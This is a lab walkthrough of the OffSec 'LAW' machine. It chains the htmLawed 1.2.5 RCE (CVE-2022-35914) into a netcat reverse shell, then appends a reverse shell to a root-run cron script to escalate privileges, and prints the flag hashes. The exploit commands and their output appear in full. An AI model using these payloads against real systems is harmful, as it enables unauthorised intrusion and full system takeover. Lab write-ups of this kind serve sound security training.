Summary #
On port 80 there is an htmLawed 1.2.5 application for which an RCE exploit is available (CVE-2022-35914). Using an edited version of the curl command in this exploit we can get a reverse shell as the www-data
user. Once on the target, using pspy
, we can see the root
user runs a script every minute. The file which is run is owned by our current user. We add a reverse shell and wait to get a shell as the root
user.
Specifications #
- Name: LAW
- Platform: PG PRACTICE
- Points: 10
- Difficulty: Intermediate
- OS: Linux law 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux
- IP address: 192.168.211.190
- OFFSEC provided credentials: None
- HASH:
local.txt
:56e066ec483a02a0a3cac7020109744a
- HASH:
proof.txt
:ace037a162383a613cff16e7efb0e841
Preparation #
First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:
## create directory structure
mkdir law && cd law && mkdir enum files exploits uploads tools
## list directory
ls -la
total 28
drwxrwxr-x 7 kali kali 4096 Aug 4 22:02 .
drwxrwxr-x 17 kali kali 4096 Aug 4 22:02 ..
drwxrwxr-x 2 kali kali 4096 Aug 4 22:02 enum
drwxrwxr-x 2 kali kali 4096 Aug 4 22:02 exploits
drwxrwxr-x 2 kali kali 4096 Aug 4 22:02 files
drwxrwxr-x 2 kali kali 4096 Aug 4 22:02 tools
drwxrwxr-x 2 kali kali 4096 Aug 4 22:02 uploads
## set bash variable
ip=192.168.211.190
## ping target to check if it's online
ping $ip
PING 192.168.211.190 (192.168.211.190) 56(84) bytes of data.
64 bytes from 192.168.211.190: icmp_seq=1 ttl=61 time=16.2 ms
64 bytes from 192.168.211.190: icmp_seq=2 ttl=61 time=17.0 ms
^C
--- 192.168.211.190 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 16.181/16.568/16.956/0.387 ms
Reconnaissance #
Portscanning #
Using the Rustscan
we can see what TCP ports are open. This tool is part of my default portscan flow.
## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
You miss 100% of the ports you don't scan. - RustScan
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 192.168.211.190:22
Open 192.168.211.190:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-04 22:04 CEST
Initiating Ping Scan at 22:04
Scanning 192.168.211.190 [4 ports]
Completed Ping Scan at 22:04, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:04
Completed Parallel DNS resolution of 1 host. at 22:04, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 22:04
Scanning 192.168.211.190 [2 ports]
Discovered open port 22/tcp on 192.168.211.190
Discovered open port 80/tcp on 192.168.211.190
Completed SYN Stealth Scan at 22:04, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.211.190
Host is up, received echo-reply ttl 61 (0.016s latency).
Scanned at 2025-08-04 22:04:36 CEST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
Copy the output of open ports into a file called ports
within the files
directory.
## edit the ``files/ports` file
nano files/ports
## content `ports` file:
22/tcp open ssh syn-ack ttl 61
80/tcp open http syn-ack ttl 61
Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:
## change directory
cd files
## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports
## output previous command
22,80
## move one up
cd ..
## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,80 -sCV -vv $ip -oN enum/nmap-services-tcp
Output of NMAP:
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c9:c3:da:15:28:3b:f1:f8:9a:36:df:4d:36:6b:a7:44 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDNEbgprJqVJa8R95Wkbo3cemB4fdRzos+v750LtPEnRs+IJQn5jcg5l89Tx4junU+AXzLflrMVo55gbuKeNTDtFRU9ltlIu4AU+f7lRlUlvAHlNjUbU/z3WBZ5ZU9j7Xc9WKjh1Ov7chC0UnDdyr5EGrIwlLzgk8zrWx364+S4JqLtER2/n0rhVxa9RCw0tR/oL24kMep4q7rFK6dThiRtQ9nsJFhh6yw8Fmdg7r4uohqH70UJurVwVNwFqtr/86e4VSSoITlMQPZrZFVvoSsjyL8LEODt1qznoLWudMD95Eo1YFSPID5VcS0kSElfYigjSr+9bNSdlzAof1mU6xJA67BggGNu6qITWWIJySXcropehnDAt2nv4zaKAUKc/T0ij9wkIBskuXfN88cEmZbu+gObKbLgwQSRQJIpQ+B/mA8CD4AiaTmEwGSWz1dVPp5Fgb6YVy6E4oO9ASuD9Q1JWuRmnn8uiHF/nPLs2LC2+rh3nPLXlV+MG/zUfQCrdrE=
| 256 26:03:2b:f6:da:90:1d:1b:ec:8d:8f:8d:1e:7e:3d:6b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCUhhvrIBs53SApXKZYHWBlpH50KO3POt8Y+WvTvHZ5YgRagAEU5eSnGkrnziCUvDWNShFhLHI7kQv+mx+4R6Wk=
| 256 fb:43:b2:b0:19:2f:d3:f6:bc:aa:60:67:ab:c1:af:37 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4MSEXnpONsc0ANUT6rFQPWsoVmRW4hrpSRq++xySM9
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
|_http-title: htmLawed (1.2.5) test
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Access #
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.56 ((Debian))
|_http-title: htmLawed (1.2.5) test
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.56 (Debian)
Going to the website in the browser we can see there is an application running called htmLawed 1.2.5
.

When we use searchsploit to find an available exploit for this application we indeed find an exploit (CVE-2022-35914). However default this will not work. Instead we’ll just use the curl command in this exploit to get a reverse shell as the www-data
user in the /var/www/html
directory and print the local.txt
.
## using searchsploit to find an exploit for this application
searchsploit htmllawed
----------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------- ---------------------------------
htmlLawed 1.2.5 - Remote Code Execution (RCE) | php/webapps/52023.sh
----------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
## get local IP address
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.200/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::30aa:305d:f0db:c005/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## setup a local listener on port 80
nc -lvnp 80
listening on [any] 80 ...
## run the exploit
curl -s -d "sid=foo&hhook=exec&text=/usr/bin/nc 192.168.45.200 80 -e /usr/bin/sh" -b "sid=foo" http://192.168.211.190/
## catch the reverse shell
nc -lvnp 80
listening on [any] 80 ...
connect to [192.168.45.200] from (UNKNOWN) [192.168.211.190] 41050
## check the current user
whoami
www-data
## print the current workong directory
pwd
/var/www/html
## print `local.txt`
cat /var/www/local.txt
56e066ec483a02a0a3cac7020109744a
Privilege Escalation #
Because we’re not in tty we cannot switch user, so we need to upgrade our shell.
## determine location script binary
which script
/usr/bin/script
## start the script binary, after that press CTRL+Z
/usr/bin/script -qc /bin/bash /dev/null
## after this command press the `enter` key twice
stty raw -echo ; fg ; reset
## run the following to be able to clear the screen and set the terrminal correct
www-data@law:/var/www$ export TERM=xterm
www-data@law:/var/www$ stty columns 200 rows 200
Now, upload linpeas.sh
to the target and run it.
## change directory locally
cd uploads
## download latest version of linpeas.sh
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
## get local IP address on tun0
ip a | grep -A 10 tun0
5: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
link/none
inet 192.168.45.200/24 scope global tun0
valid_lft forever preferred_lft forever
inet6 fe80::30aa:305d:f0db:c005/64 scope link stable-privacy proto kernel_ll
valid_lft forever preferred_lft forever
## start local webserver
python3 -m http.server 80
## on target
## change directory
www-data@law:/var/www$ cd /var/tmp
## download `linpeas.sh`
www-data@law:/var/tmp$ wget http://192.168.45.200/linpeas.sh
--2025-08-04 16:31:08-- http://192.168.45.200/linpeas.sh
Connecting to 192.168.45.200:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 956174 (934K) [text/x-sh]
Saving to: 'linpeas.sh'
linpeas.sh 0%[ linpeas.sh 100%[=============================================================================================================>] 933.76K 5.19MB/s in 0.2s
2025-08-04 16:31:08 (5.19 MB/s) - 'linpeas.sh' saved [956174/956174]
## set the execution bit
www-data@law:/var/tmp$ chmod +x linpeas.sh
## run `linpeas.sh`
www-data@law:/var/tmp$ ./linpeas.sh
The linpeas.sh
output doesn’t show something interesting at first glance. Let’s try running pspy
. Go to, https://github.com/DominicBreuker/pspy, select releases on the right side of the page and download pspy64
. Move this file to the uploads
directory or download directly using wget
.
## change directory
cd uploads
## download pspy64
https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
## start local webserver
python3 -m http.server 80
## on target
## download pspy64
www-data@law:/var/tmp$ wget http://192.168.45.200/pspy64
--2025-08-04 16:55:34-- http://192.168.45.200/pspy64
Connecting to 192.168.45.200:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'
pspy64 0%[ pspy64 36%[======================================> pspy64 84%[==================================================pspy64 100%[=============================================================================================================>] 2.96M 6.59MB/s in 0.4s
2025-08-04 16:55:35 (6.59 MB/s) - 'pspy64' saved [3104768/3104768]
## set the execution bit
www-data@law:/var/tmp$ chmod +x pspy64
## run `pspy64`
www-data@law:/var/tmp$ ./pspy64
In the output of pspy64 we see that root (UID=0) runs the script /var/www/cleanup.sh
every minute. Looking at this script we are able to write this file, because we own this file. Add an entry to this file to give us a reverse shell as root, after waiting for max. 1 minute.
## part output pspy64
<SNIP>
2025/08/04 16:57:01 CMD: UID=0 PID=23789 | /bin/sh -c /var/www/cleanup.sh
2025/08/04 16:57:01 CMD: UID=0 PID=23790 | /bin/bash /var/www/cleanup.sh
<SNIP>
## change directory
www-data@law:/var/tmp$ cd /var/www
## list content directory
www-data@law:/var/www$ ls -la
total 20
drwxr-xr-x 3 root root 4096 Aug 25 2023 .
drwxr-xr-x 12 root root 4096 Aug 24 2023 ..
-rwxr-xr-x 1 www-data www-data 82 Aug 25 2023 cleanup.sh
drwxr-xr-x 2 www-data www-data 4096 Aug 25 2023 html
-rw-r--r-- 1 www-data www-data 33 Aug 4 16:00 local.txt
## get location bash
www-data@law:/var/www$ which bash
/usr/bin/bash
## start local listener on port 9001
nc -lvnp 9001
listening on [any] 9001 ...
## add giving the SUID permission
echo "nc 192.168.45.200 9001 -e /usr/bin/bash" >> /var/www/cleanup.sh
## catch the reverse shell as root
nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.45.200] from (UNKNOWN) [192.168.211.190] 36430
## print the current user
whoami
root
## pront `proof.txt`
cat /root/proof.txt
ace037a162383a613cff16e7efb0e841
References #
[+]